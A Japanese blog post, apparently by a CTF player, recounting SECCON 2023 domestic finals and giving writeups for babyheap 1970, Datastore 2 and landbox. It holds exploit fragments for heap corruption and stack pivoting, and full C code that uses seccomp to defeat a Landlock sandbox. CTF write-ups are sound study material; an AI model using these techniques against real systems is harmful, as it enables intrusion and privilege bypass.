SECCON 2023 finals writeup (babyheap 1970, Datastore2, landbox) と感想

チーム「:(」として国内の決勝に出ていました。 結果はチームメンバーがとても強かったこともあり、国内決勝ながら *1 優勝することができました。よかった。

優勝

チーム:)は、予選は potetisenseiicchyさん の二人チームだったが、本選から私と ngkzさん が合流する形で、4人で本選に出ました *2

チームとして解いた問題は以下の通り。 チーム構成が、バイナリ大好きオタクたち(poteti, ngkz, mora)とWeb大好きオタクicchyさんというやや偏りのあるメンバー構成だったのでcryptoを見る人間が誰もいなかった。チームのムーブとしては、potetisenseiがなんでも係を担当しておりメキメキと問題を解き、icchyさんがWeb、ngkzさんがハードウェアとバイナリ系、僕はバイナリ系を見るみたいなことをしていた*3。各位が流石の強さだった。

僕自身は、babyheap 1970を解いた最初の3時間半がピークで、あとはほとんどひたすらDatastore 2に苦しんでいた。個人的にDatastore 2は1日目夜には解けると思っていて(実際解けるべきだったが)、かなりそこは悔しい。本当は1日目夜には終わらせて最終日はelk (or WkNote?)と格闘したかった。

実はこの頃は多めに見積もって1日目中だと思っていた

大会としては、問題の質が、運営が変わってからのCTFとしては"いつも通り"よかったが、これを維持するのは本当に大変なことだと思うので感謝しかない。最近あまりCTFしていない人間が作問するのは悪だと思っていてその意味ではSECCONで僕が作問すべきではないと思ってはいるものの、もし本当に問題足りなくなりそうだったらいつでも行くので言ってください(とはいえptr-yudaiがいるからpwnが足りなくなることはないんですね)。SECCON全体は見ていないからよくわからないが、盛況だったようで何より。来年以降も継続していくのは本当に骨が折れると思うんですが、できる限り続くと外野としては嬉しいですね。スポンサーもいつもありがとうございます *4

以下は作問者に感謝の文です(解いた問題のwriteupです)。

[Pwn 240] Babyheap 1970 (5 solves)

問題設定

Pascalで書かれた謎のプログラムが渡される。デフォルトでVSCodeではsyntax highlightingが効かなくてその意味でも1970年に戻ったつもりで解いた。サービスとしては以下のreallocとeditのどちらかを4つのノートに対して行うことができる。

procedure realloc();
var
   id : integer;
begin
   id := get_id();
   g_size[id] := get_size();
   setLength(g_arr[id], g_size[id]);
end;

procedure edit();
var
   id    : integer;
   index : integer;
begin
   id := get_id();
   index := get_index(id);
   write('value: ');
   flush(output);
   read(g_arr[id][index]);
end;

バグは、境界検査で、配列の要素を1個外側まで配列外参照できてしまう。

function get_index(id : integer): integer;
var
   index : integer;
begin
   write('index: ');
   flush(output);
   read(index);
   if (index < 0) or (index > g_size[id]) then begin
      writeln('Index out of range');
      halt(1);
   end;
   get_index := index;
end;

解法

あとは、やるだけそうだが、Pascalのバイナリの中で何が起きているのかさっぱり分からずheap allocatorがどうなっているのかも何も知らなかったのでそこからのスタートだった。が既にもうだいぶ忘れた。この類の変な言語問は多分上手で、普通に処理系guessだけで解けてしまったので素早く解けたし、結果どういう仕組みだったのかがわからないとも言う*5

雑に覚えていることとDiscordに書いたメモを振り返ると、大体わかっていることは次の通り、

  • heapのアルゴリズムは、言語処理系にありがちな、チャンクサイズごとにmmapをして、初期化時にfree listを構築するようなallocator。ただし、なぜか領域でサイズを判断するのではなく、サイズ情報がチャンクの中に埋め込まれている。
  • この埋め込まれた情報をもとにreallocで行われている、setLengthにおけるリサイズの判断が行われている
  • 整数型integerは16bits

reallocは大きくなる方向にしか走らない(?)模様で、デフォルトの0x20から広げて大きさ0x60のチャンクのfreelistのfdを書き換えるとmallocがいい感じに走りあとは自由なchunkが得られる。このために

  1. 3のバッファをサイズ0x60になるようにrealloc
  2. 4のバッファをその下にくるように即realloc
  3. 3のバッファのbuffer overwriteで、サイズ情報を0x80にする
  4. 4のバッファを、reallocして44にすると、heap上は0x80程度あればよく既に0x80あることが分かるので、reallocされない。かつ長さ情報が44になるので、4のバッファが好きにoverwriteできるようになる
  5. これを用いて4の次のfreelistにつながっているバッファのfdを好きなアドレス(victim)に書き換え(今回は、これらのバッファを管理している配列 g_arr : array[0..3] of array of integer;のポインタに向ける)
  6. 二度size36で、reallocしてvictimへのバッファを確保

AAWをする

# 工程1, 2
realloc(target, 36)
realloc(target+1, 36)


# 工程3
edit(target, 36, 0x8081)
# 工程4
realloc(target + 1, 44)

# これいる?よく覚えてない
edit(target + 1, 36, 0x8061)
edit(target + 1, 37, 0xf)

# 工程5
edit_64(target + 1, 40, victim_addr) #edit_64は単に1回に16bits

# 工程6
realloc(d, 36)
realloc(a, 36)

AAWは得られたが、AARを得るのは無理そうだったのでstack書き換えによるROPはきつそうとなる。ただ、PIEであって、Pascalは謎に関数ポインタを色々使っていそうなので、なんかいい感じのポインタを上書きしつつstack pivotしてROPすれば良さそうという気持ちになる。 とりあえずよく分からないので、適当に書き換えると性質よくRIPが取れそうな場所を探すと(以下は探していたときの残骸)

# addrs = [0x425680, 0x425590, 0x425458, 0x425270,
#         0x425990, 0x426b70, 0x426bd8, 0x426cd0, 0x42e9a8]
# addrs = [0x00430000]
addrs = [0x00430000]
avoid = [0x140]
for base in addrs:
    for i in range(0x140, 0x168):
        if i in avoid:
            continue
        if i == 0x167:
            val = gadget
        else:
            val = i
        addr = base + i*8
        print(hex(i), hex(addr))
        # set(addr, 4199360)
        set(addr, val)
realloc(0, 40)

0x00430000 + 0x167 * 8 あたりが良さそうということがわかる(edit中は発火せず、reallocするときに初めて発火する場所を探せば良い)。

後はどこに書き換えるか?だが、この場所で発火するときのレジスタを見ていると、

[----------------------------------registers-----------------------------------]
RAX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RBX: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
RCX: 0x38061
RDX: 0x1
RSI: 0xb0
RDI: 0x430980 --> 0x0
RBP: 0x7ffd6b40f3e0 --> 0x7ffd6b40f400 --> 0x7ffd6b40f420 --> 0x0
RSP: 0x7ffd6b40f2a8 --> 0x41a6cb (lea    rsp,[rsp+0x8])
RIP: 0x423800 (js     0x42380a)
R8 : 0x7fffffffffffffff
R9 : 0x7
R10: 0x7ffd6b40f070 --> 0x3433383438353600 ('')
R11: 0x246
R12: 0xe0
R13: 0x58 ('X')
R14: 0x4309c8 --> 0x7fe62ed7a000 --> 0x8000
R15: 0x7
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

のようにrdiは基本的に良さそうで、 0x4022ab: mov r15, qword [rdi+0x28] ; mov rsp, qword [rdi+0x30] ; jmp qword [rdi+0x38] ; (1 found) という謎ガジェットがあるのでこれを使った。*6

今回のプログラムはstatically linkedなのでsyscallを使ってsigreturnすれば良い。

最終的なスクリプトctf_writeups/2023/seccon_finals/babyheap_1970/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに、pwntoolsがローカルの自分のパソコンに入ってなくて、自分でフラグが獲得できなくて泣いていた

1st blood*7

[Pwn 388] Datastore 2 (2 solves)

とても苦しんだ問題。

問題設定

この問題は予選の方で出たDatastore 1の改定版で、とりあえずdiff を見ると、

  1. 元々あったindexのバウンダリー検査の脆弱性が無くなる
  2. arrayの中身を再帰的に削除する機能が追加
  3. コピー機能が追加
  4. 文字列の参照カウント機能の追加
  5. 文字列の更新機能がなくなり、更新は削除->作成が行われる

あたりが起きていることがわかる。この時点で予選のwriteupを引っ張り出してきたが、思い出すのに苦労した上に全く使えないことが分かり萎える。

解法

改めてソースコードを眺めてみると、refcntが露骨にuint8_tで定義されており、integer overflowをしてくださいと言わんばかりである。これが実際存在する唯一の脆弱性だった。arrayをいい感じにコピーしていけば、簡単に256回の文字列のコピーができる。つまり、文字列のUAFができる。これと、str_tと長さ1のarrayの0番目のdata_tのintの値の場所が一致することを用いると、任意のアドレスのreadと、任意のバッファのfreeが可能になる。

問題はwriteのprimitiveでどこを書き換えてPCをとるかで、こんなもんすぐにできるだろと思っていたら一生できず本当に禿げました。後から考えてみるとかなり無意味な苦労をしていた。とりあえずめんどいポイントとして

  1. scanf("%70m[^\n]%*c", &buf);でヒープが確保される。これの挙動をよく理解していなかったが、malloc(0x70)して確保されたバッファにデータを書き込み、その後で書き込んだ文字数が入る程度にrealloc(n)をして縮める。この縮める操作が面倒で、"%70m の文字列長の制約上必ずreallocのresizeが走ってしまうのでstack上への書き込みをtcache poisoningでしようとすると、そのタイミングで制約違反になる
  2. 整数書き込みを用いると好きな値を書き込めるが、書ける場所が16の倍数のアドレスに限定された上で、そのアドレス-8の場所に変な値(型タグ)が書き込まれる
  3. fakeなarrayを作ると、16の倍数でないところにも書き込めるが、書き込む前に、そのアドレス-8の場所に適切な型タグが書き込まれていないとexitしてしまう

がある。この制約により意外と面倒が多く色々な手法を試してはダメだを繰り返していた(上述の制約に最初に気づかずstack上のROPのpayloadをscanfを通してしようとする、Arrayを通してexit_funcsを書き換えようとする、initialのnextを書き換えようとする *8、いい感じにタグを回避しながらROPするガジェットを探す、etc)。最終的にもう無理やねんと言って上の制約をpotetisenseiに説明してアイデア募集したら、saved rbpを上書きしてstack pivotできるんじゃね?と言われ(ちなみにretアドレスはalignment制約上だめ)、確かにそれはありだなとなり実際やってみたらうまく動いた。sasuga...

ちなみにmemsetのlibcのGOT、16の倍数のアドレスにはなかった。嫌がらせ?

あまりこの思考にならなかったのはなぜか後から考えていたが普通に考えてsaved rbpだけ書き換えられるがROPはうまくできない状況がまあまあ珍しいのと(alignment制約自体はたまにある気がするが大抵なんとかなる)、適切にstack canaryが入っていないことが大事 ((今回は関数mainの中に char buf[xx] のようなバッファがなく、コンパイラがmainにstack canary checkを配置していなかったので大丈夫だった)) だったので、まあまあレアなケースかなとは思う(が思考から外しているのは謎だった)

やることとしては、

  1. strでfake chunkを作って、
  2. 上でleakした仕組みでそのchunkをfree、
  3. このチャンクを用いてtcache poisoningをして、
  4. editのrbpを書き換えてmainからretして、stack pivotで終わり

というかなり典型的なheap風水*9。改めて見返すと、かなり一日目に解き終わるべきだった気がするが、internationalでも4 solvesだった状況を考えてもまあまあめんどめ(or ハマるタイプ)のheapだったと思うので許していただいて、、*10

最終的なスクリプトctf_writeups/2023/seccon_finals/Datastore2/solve.py at master · moratorium08/ctf_writeups · GitHub

ちなみに結構非効率なtcacheのclear outなどをしているので動作が遅かった。実はこれは結構問題で、問題文中で alarm(60) と書かれているのに、実はタイムアウトが30秒に設定されており、リモートでフラグを取るのに失敗していた。これについて運営に文句を言ったところ、先に解いていた(!)TSGが許してくれた*11 ので、タイムアウトが適切に直され、無事このスクリプトで通すことができた。そうでなかった場合、虚無のPoC最適化が必要だったので、この点も感謝の限り...

elk、見たかったな〜。毎回何らかの問題に詰まってしまって反省している

[Misc 388] landbox (2 solves)

Datastore2でつらくなっているときに息抜きとして見た問題。

LandlockというLinux謎機能でプロセスに制限をかけた上で、 /readflag をするというプログラムが与えられる

void give_up_flag(void) {
  int abi, ruleset_fd;
  struct landlock_ruleset_attr *ruleset_attr = &default_landlock_ruleset_attr;

  abi = landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);
  assert (abi >= 0);

  switch (abi) {
    case 1:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_REFER;
      __attribute__((fallthrough));
    case 2:
      ruleset_attr->handled_access_fs &= ~LANDLOCK_ACCESS_FS_TRUNCATE;
  }

  ruleset_fd = landlock_create_ruleset(ruleset_attr, sizeof(*ruleset_attr), 0);
  assert (ruleset_fd >= 0);

  assert (!prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));

  landlock_restrict_self(ruleset_fd, 0);
}

int main() {
  give_up_flag();
  read_flag();
  return 0;
}

Landlock: unprivileged access control — The Linux Kernel documentation あたりのドキュメントを読むと、かなり正しい実装をしていそうに見える。少なくともフィルターの書き方は正しいそうだし、そもそもlandlock_add_ruleをしていないので「何も読めない」プロセスになってから read_flag が呼ばれる実装の模様で、これを突破できるとするとlandlockの仕組み自体が破滅しているということになってしまう。困った。

という状態で give_up_flag をよく見てみると、怪しい箇所として landlock_restrict_self のエラーハンドリングが行われていない。このシステムコールが失敗するならば、単に制限が何もかかっていないプロセスになるので、これを失敗させようという気持ちになる。manを見てみると landlock_restrict_self が失敗しうる状態は以下の通り

       landlock_restrict_self() can fail for the following reasons:

       EOPNOTSUPP
              Landlock is supported by the kernel but disabled at boot
              time.

       EINVAL flags is not 0.

       EBADF  ruleset_fd is not a file descriptor for the current
              thread.

       EBADFD ruleset_fd is not a ruleset file descriptor.

       EPERM  ruleset_fd has no read access to the underlying ruleset,
              or the calling thread is not running with no_new_privs, or
              it doesn't have the CAP_SYS_ADMIN in its user namespace.

       E2BIG  The maximum number of composed rulesets is reached for the
              calling thread.  This limit is currently 64.

いくつか試してみたが実験上はうまく動かず頭をかかえていた *12

というところで、ふとseccompで landlock_restrict_self を禁止してしまえばいいじゃないかという気持ちになる。実はそれだけです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/landlock.h>
#include <sys/prctl.h>
#include<errno.h>

int main() {
    int rc;
    scmp_filter_ctx ctx;

    ctx = seccomp_init(SCMP_ACT_ALLOW);
    if (ctx == NULL) {
        perror("seccomp_init");
        return -1;
    }

    rc = seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(landlock_restrict_self), 0);
    if (rc < 0) {
        perror("seccomp_rule_add");
        seccomp_release(ctx);
        return -1;
    }

    rc = seccomp_load(ctx);
    if (rc < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        return -1;
    }
    int x = execve("/readflag", NULL, NULL);
    perror("failed to run readflag");

    return 0;
}

話はここからで、これ取り組みさえすればすぐに解けることが"バレる"なと思ったが、1日目終了時点でまだ1 solveだったので、フラグ提出をちょっと遅らせるということをしていた

実際それが功を奏したのか(?)、最終的に2 solvesで388点を得ることができた。まあ正直この問題のポイント差はあんまり重要ではなかったが

感想

個人のパフォーマンスとしては、うまく行った問題1問とうまくいかなかった1問+普通の1問で、平均して期待値程度のパフォーマンスといった感じ。簡単なpwnを通す程度の能力を提供すると言ってチームに参戦したのでギリギリ許されたか...? 各位がメキメキと問題を通しており、さすがだなあと思いながら見ていたし、これワシが解かなくても勝てそうじゃないか?とも思っていた、特にDatastore2で発狂していたときには。

改めてになりますが、運営ありがとうございました。本当に楽しかったです。本選にも参加してよかったと思いました。正直全ての問題を楽しみ切る前にコンテストが終わってしまうので、いつもちょっともったいないなあとは思うんですが。

最後にお気持ちを書くと、正直老人としてTSGの枠を使うのは申し訳ないと言いながら、国内枠の優勝を取るのはちょっとまずいという説はあった、ほんまか。まあ僕は学生だから良いですか?ありがとう。icchyさんが優勝インタビューで話していたように、ちゃんと国際枠で戦うべきなんですが、普通にSECCONが良い大会になりすぎてなかなかウオですね。

*1:TSGらを抑えて

*2:予選はTSGで出ていたが、本選出るにあたっては、若者各位頑張って欲しいという感情が強いので(?)出んとこと思っていた。が、冷静になって考えてみると2人で出てたチームあったよなと思って声をかけた。急に押しかけてしまい、すみませんという状態。ありがとうございました

*3:とはいえ割りと分担が結局効いていた。例えばハードウェアのことがなんにも分からなかったので問題説明を聞いてワロタと思ってngkzさんに全てを任せてハードウェア部屋から帰ってきたら、すぐに颯爽とハードウェア問を解いて帰ってきたみたいな話がある。結局あの問題が一番なんだったのか分かっていない

*4:GMOからの副賞が、執行役員擁する我々のチームに贈られたのはちょっとウケた。僕はただの学生なのでありがたく使わせていただきます

*5:結果的にはコンパイラソースコードも、バイナリのreversingもしなかったので、以下に書いているのは挙動からguessしたものです

*6:ちなみにpwnが下手なので普通にちゃんと探したが、いつも忘れるxchg rsp, raxでいい

*7:ちなみに国際チームであっても1st bloodだった。こういう速解きが割と上手かもしれない

*8:これはそもそもpwnが下手で、initialはexit_functionのlistの最終要素であるというinvariantを破壊してしまうので、nextの関数が呼ばれる前にfreeで落ちる

*9:ちなみに、callocがArray確保に使われていてtcacheが使われず、なぜかcopyではmallocが使われるのでそっちを使って書き換える、や端々になんか面倒な話がある、どぼじでぞういうごどずるの

*10:ここらへんで "筋力"の衰えを感じるにも覚えるが、実は元々の自力な気もする

*11:実際に同様のclarが国際決勝側でも飛んだらしく、こちらは先に解いていたチームが許さなかったらしい

*12:実は想定解はE2BIGを起こさせることだったらしい。僕の実験が下手です。そもそもこの文のcomposedの意味を取り違えていた